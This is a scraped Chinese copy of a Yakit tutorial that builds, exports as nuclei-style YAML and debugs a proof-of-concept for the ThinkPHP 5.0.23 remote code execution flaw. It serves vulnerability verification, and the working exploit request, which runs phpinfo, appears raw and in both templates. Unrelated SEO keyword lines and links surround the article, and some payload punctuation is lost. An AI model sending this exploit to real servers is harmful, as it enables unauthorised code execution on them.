当前位置: 首页 > news >正文

国家建设部网站证书查询做公装的什么网站好

国家建设部网站证书查询,做公装的什么网站好,怎么进入自己网站主机地址,深圳高端网站制作价格在网络安全领域#xff0c;PoC#xff08;Proof of Concept#xff09;起着重要的作用#xff0c;并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下#xff0c;常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC#xff0c;再到实…在网络安全领域PoCProof of Concept起着重要的作用并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC再到实际调试 PoC的正确性最后才能将编写完毕的 PoC 投入批量使用在此目前流程中各个阶段之间并没有很好的关联性相互之间不能 一键 完成需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。 ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中获取method的方法中没有正确处理方法名导致攻击者可以调用Request类任意方法并构造利用链从而导致远程代码执行漏洞。 Web Fuzzer 手动验证 构造数据包 先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包 POST /index.php?scaptcha HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded_method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1上述是一个可以执行 phpinfo 的测试数据包直接发送给目标可以触发一个 phpinfo 响应。 验证响应-匹配器 除了测试数据包外还需要有与测试数据对应的 预期响应以验证漏洞是否触发。 对以此漏洞一个比较合理的判断是响应页面同时有ThinkPHP、PHP Version和PHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数触发了漏洞。 在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏 匹配器三种匹配模式丢弃保留仅匹配。 丢弃丢弃模式会在符合匹配器时下丢弃返回包。保留保留模式会在符合匹配器时保留返回包剩余的返回包则直接丢弃。仅匹配仅匹配模式会在符合匹配器时将对应的返回包染色而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色 直接来使用匹配器来匹配上述测试数据包的预期数据 点击添加匹配器在页面右下角会弹出匹配器详细设置页面 详细设置页面十分简单明了支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为AND关系在全部响应中匹配三个关键字在匹配器中即可如下设置。 点击应用匹配器即可生效。重新发送数据包会提示数据包成功匹配 至此已经完成了手动测试一个数据包以及匹配预期响应的流程在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证有了构造PoC的基础。 Web Fuzzer 自动导出 PoC PoC的作用当然不能限制在单次的手动测试中它的作用是通过提炼一个手动测试的流程来自动化验证某个漏洞上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。 在 Web Fuzzer右上角处有两个按钮分别对应直接导出 PoC和转到调试 PoC。 PoC****结构 这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC 上面的手动测试的流程被保存为如下的 PoC Yaml。 支持 Raw 和 Path 两种模式可自由选择 // Raw 模式 id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http: - raw:- |-timeout: 30sPOST /index.php?scaptcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式 id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http: - method: POSTpath:- {{RootUrl}}index.phpheaders:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method__constructfilter[]phpinfomethodgetserver[REQUEST_METHOD]1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: andyakit sign 此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义这是一个签名一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名包括 raw 、method、headers… 在 Yakit 插件生态中上述的 PoC 是可以作为一种插件被用户方便地使用的但是作为一个纯文本的数据很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。 在批量执行的插件的情况下也可以用通过对签名的验证来筛选出可以信赖的插件很大程度上避免了本地插件被意外修改导致验证失败的问题。 PoC****调试 PoC 显然是不能不经调试检验直接使用的在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面方便师傅们进一步调试。 调试页面可以对 Yaml PoC 插件进行测试通过测试不同的目标来验证检查其完善性。 一旁的配置调试请求栏中可以设置不同的调试目标支持域名、IP、URL。配置调试目标完成之后点击执行即可看到本次的调试流量、插件信息以及控制台输出 经过详细地调试之后在调试插件的右上角有存为插件的按钮点击即可将当前调试的 Yaml PoC 保存为插件让此 PoC 正式成为一个可以批量使用的插件。 总结 至此通过 Yakit 的导出与调试 Yaml PoC 功能我们很简便的完成了一个批量使用的 PoC 编写期间除了最开始的构造数据包部分需要人工手动测试其余阶段 Yakit 都自动化完成了。
http://www.pierceye.com/news/575481/

相关文章:

  • 南通网站建设公司哪个好肯德基的网站建设
  • 高端大气网站源码wordpress做双语网站
  • 360网站推广东莞凤岗
  • 公司网站高端网站建设赣州做网站多少钱
  • dw做网站怎么发布建设银行官方网站登录入口
  • 怎样查看网站建设时间免费外贸自建网站
  • 网站备案注销原因网站建设入账
  • 番禺做网站哪家好wordpress 样式引用
  • 网站研发进度表下载网站建设亿码酷适合5
  • 对网站域名销户怎么做舆情监控都有哪些内容
  • 南宁做网站优化企业网站开发合同
  • 网站做京东联盟公司注册网上核名入口
  • jsp做的零食网站下载一分钟做网站
  • 营销网站竞品分析报告上海平面网站
  • 网站建设 邦机票网站制作
  • 网站开发从整体上用vps刷网站流量要怎么做
  • 搭建一个网站 优帮云网站无法访问的原因
  • 卖印花图案设计网站北京管庄网站建设公司
  • 北京石景山网站建设外贸网络推广经验
  • 好看的网站源码手机网站在线生成
  • 响应式网站设计的主页网站定制合同
  • 做查询网站有哪些杭州市建设部门网站
  • 免费做外贸的网站制作logo网站
  • 网站改版意义服务营销案例100例
  • 服装厂做1688网站效果好不好做lol数据的网站有哪些
  • 棋牌代理平台网站优化大赛
  • 网站制作视频教程新手必看深圳建网站哪个公
  • 做网站的公司盐城网站排名优化培训
  • 营销型网站搭建公司3d云打印网站开发
  • 网站建设首选沈阳高端网站建设搬家公司收费标准